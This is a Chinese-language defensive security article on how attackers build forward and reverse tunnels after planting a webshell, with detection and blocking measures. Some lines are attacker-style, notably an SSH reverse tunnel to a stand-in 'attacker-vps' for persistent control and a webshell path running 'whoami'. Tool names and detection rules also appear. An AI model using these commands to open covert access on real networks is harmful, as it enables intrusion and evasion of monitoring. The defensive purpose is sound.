一、背景
在网络安全攻防演练中,攻击者在成功植入Webshell后,往往会快速构建通信隧道(含正向隧道与反向隧道两种模式)。通过建立的隐蔽隧道,攻击者可突破现有安全防护边界,对目标系统实施深度攻击(如权限提升)及内网横向移动,规避传统监测手段。
基于对正向/反向隧道构建特征的分析,结合应用系统架构特性,强化隧道检测与阻断机制,提升攻击利用难度
二、正向代理和反向代理设备
一、正向隧道设备与机制
正向隧道由内网主机主动连接外网控制端,将内网服务暴露至公网。
-
代理服务器
- 专用硬件:Blue Coat SG系列、深信服SG设备,支持高并发HTTPS解密及访问控制。
- 通用服务器:配备多核CPU(如Intel Xeon Gold)和万兆网卡,处理加密流量转发。
-
隧道工具
- HTTP/S代理:
reGeorg
:将TCP流量封装为HTTP请求,通过Webshell建立Socks5代理(需上传加密脚本至目标服务器)。Nginx
(启用proxy_connect_module
):支持HTTP CONNECT方法建立隧道,需配置端口限制(仅开放80/443)。
- 全协议代理:
Shadowsocks
:基于Socks5协议,客户端需集成SOCKS接口穿透防火墙。Meterpreter/CobaltStrike
:内网渗透工具内置Socks4代理,自动化路由转发。
- HTTP/S代理:
-
端口转发设备
- 通过SSH命令绑定端口(如
ssh -CNfL 0.0.0.0:7777:内网IP:8888
),将本地端口流量转发至内网服务。
- 通过SSH命令绑定端口(如
二、反向隧道设备与机制
反向隧道由内网主机主动连接公网服务器,实现“内网主动外联”的隐蔽通道。
-
跳板服务器(公网)
- VPS/云主机:需具备公网IP(如AWS EC2),接收内网主机的SSH连接请求。
- 中间主机:运行
autossh
维持隧道持久化(如autossh -M 5678 -NR 2222:localhost:22 user@公网IP
)。
-
隧道工具与协议
- SSH反向代理:
- 命令格式:
ssh -R [公网端口]:localhost:[内网端口] user@公网IP
,将内网端口映射至公网。 - 应用场景:远程访问数据库(如MySQL通过
127.0.0.1:8888
映射)。
- 命令格式:
- HTTP/3反向隧道:
Reverst
:基于QUIC协议和HTTP/3,通过UDP实现高穿透性,支持负载均衡(需Go环境部署)。
- 轻量级工具:
ngrok/frp
:快速搭建HTTP反向隧道,配置公网端口与内网服务绑定。
- SSH反向代理:
-
安全加固设备
- 防火墙:限制SSH仅允许可信IP访问,降低未授权连接风险。
- 密钥认证:强制使用SSH密钥对替代密码登录(配置
PubkeyAuthentication yes
)。
三、核心机制对比
机制 | 正向隧道 | 反向隧道 |
---|---|---|
工作流程 | 外网→代理服务器→内网服务 | 内网主机→公网服务器→外网控制端 |
协议支持 | HTTP/SOCKS(全协议) | SSH/QUIC/UDP(高穿透性) |
安全风险 | 暴露代理端口易被扫描 | 内网主动外联隐蔽性强,难追踪 |
故障容灾 | 代理IP池自动切换 | autossh 自动重连维持持久化 |
四、攻防场景下的设备选型建议
-
正向隧道场景(需快速暴露内网服务)
- 工具:
reGeorg
+Nginx
(伪装业务流量)。 - 硬件:专用代理硬件(如Blue Coat)应对高并发加密流量。
- 工具:
-
反向隧道场景(规避防火墙审计)
- 工具:
SSH -R
+autossh
(稳定持久化),或Reverst
(对抗DPI检测)。 - 服务器:云主机(AWS/Aliyun)配置IP白名单和密钥认证。
- 工具:
-
混合防御策略
- 监测层:流量分析系统识别高熵值流量(加密隧道特征)。
- 阻断层:防火墙默认拒绝非业务外联,仅放行白名单IP。
三、隧道攻击特征与防御目标
1. 正向隧道攻击特征
- 高频访问:攻击者通过Webshell建立正向代理(如reGeorg),1秒内发起10+次请求,模拟正常业务流量穿透内网。
- 协议伪装:利用HTTP/HTTPS协议(80/443端口)绕过传统防火墙,流量加密后无法被深度包检测(DPI)解析。
2. 反向隧道攻击特征
- 外联控制端:被控主机主动连接攻击者VPS/域名(如Cobalt Strike),或通过DNS隧道(TXT记录传指令)规避审计。
- 隐蔽性:SSH反向隧道与合法SSH流量形态一致,无恶意特征;ICMP隧道通过Data段填充加密数据。
3. 防御核心目标
- 实时阻断:5分钟内识别隧道行为并自动封堵。
- 纵深防御:覆盖网络层→应用层→主机层的协同防护。
精细化隧道防御方案
1. 正向隧道监控优化
防御场景 | 技术措施 | 工具联动 |
---|---|---|
无动态脚本需求系统 | WAF拦截所有.jsp/.jspx 请求,触发即封IP(联动SOC响应≤10秒) | WAF + SOC自动化平台 |
有动态脚本需求系统 | 动态防护设备监测: - 单IP请求频率>5次/秒 - 异常路径(如 /upload/cmd.jsp ) | 天眼 + 动态防护设备 |
加密隧道识别 | 流量分析系统检测: - 高熵值流量(AES加密+Base64) - 非常规HTTP头( Connection: Keep-Alive 超长) | 微步TDP + 加密流量解析 |
2. 反向隧道防御强化
① 网络层白名单控制
- 零信任策略:防火墙仅放行业务必需的目标IP+端口(如支付接口API),默认拒绝所有出站流量。
- 协议精细化:限制DNS协议仅允许访问内网DNS服务器,阻断外部DNS查询。
② 非法外联监测体系
监测维度 | 技术实现 | 工具示例 |
---|---|---|
外联IP黑名单 | 实时比对外联IP与威胁情报库(微步/360),命中即告警 | 天眼 + 微步TDP |
DNS隐蔽信道 | 监控异常特征: - 高频TXT/AAAA记录请求 - 域名长度>50字符(Base64编码特征) | 深信服流量分析 |
③ 主机层主动防御
- RASP拦截:在应用运行时检测敏感操作(如
Runtime.exec()
),终止恶意线程。 - 进程监控:限制Web进程(Tomcat/Nginx)启动子进程,阻断
cmd.exe
/powershell.exe
调用。
四、正向隧道应用场景
1. 内网资源暴露
-
运维访问内网服务
。
通过SSH端口转发(ssh -L
)将内网数据库(如MySQL 3306端口)映射至本地端口(如8888),运维人员直接连接127.0.0.1:8888
访问内网数据库
适用场景:跨地域团队协作调试数据库、内网环境无公网IP时提供临时访问通道。 -
红队内网穿透
。
攻击者利用Webshell部署reGeorg等工具,将内网主机的SMB(445端口)或RDP(3389端口)通过HTTP/S隧道代理暴露至公网,实现横向移动
攻防特征:流量伪装成正常HTTP请求(如/tunnel.jsp?cmd=whoami
),绕过传统防火墙检测。
2. 跨网络隔离访问
- 访问受限区域资源
企业内网中,员工通过SSH正向隧道连接跳板机,访问隔离区的监控系统或日志服务器(如ssh -L 8080:192.168.1.100:80 user@jump-host
)。
安全要求:需配置防火墙仅允许跳板机IP访问目标服务。
反向隧道应用场景
1. 隐蔽外联控制
-
APT长期控守
。
攻击者在内网主机运行ssh -R 2222:localhost:22 user@attacker-vps
,将主机SSH端口映射至VPS的2222端口,通过VPS持续控制内网主机
隐蔽性:内网主动外联,流量表现为合法SSH连接,规避非法外联监测。 -
C2通道维持
。
Cobalt Strike等工具通过反向HTTP/S隧道建立加密C2通信,被控主机定期请求攻击者域名获取指令
防御难点:域名/IP频繁更换,需依赖威胁情报实时阻断。
2. 内网服务穿透
-
远程开发调试
。
开发者通过反向SSH隧道(autossh -M 5678 -NR 3306:localhost:3306 user@public-server
)将本地数据库映射至云服务器,实现远程安全调试
优势:避免直接暴露数据库端口,减少攻击面。 -
家庭NAS访问
。
家庭网络中的NAS设备通过frp/ngrok
建立反向隧道,将5000端口(Web管理)映射至公网服务器,实现外网安全访问
配置要点:强制TLS加密 + IP白名单限制。
场景对比与选型建议
场景类型 | 正向隧道适用性 | 反向隧道适用性 |
---|---|---|
资源暴露需求 | 内网服务需临时对外提供访问 | 内网服务需长期隐蔽暴露(如C2) |
网络限制 | 目标主机无出网限制 | 目标主机可出网但入口被防火墙阻断 |
隐蔽性要求 | 较低(流量路径明确) | 极高(内网主动外联,难追踪) |
运维复杂度 | 需配置端口转发规则 | 需维持持久化(如autossh + 自启脚本) |
安全防护建议
-
正向隧道防护
- 部署WAF拦截异常路径请求(如
/cmd.jsp
)。 - 限制SSH端口转发权限(修改
sshd_config
中AllowTcpForwarding no
)。
- 部署WAF拦截异常路径请求(如
-
反向隧道防护
- 防火墙默认拒绝所有出站流量,仅放行业务必需IP/端口。
- 监控DNS请求频率及域名长度(>50字符的Base64域名直接阻断)。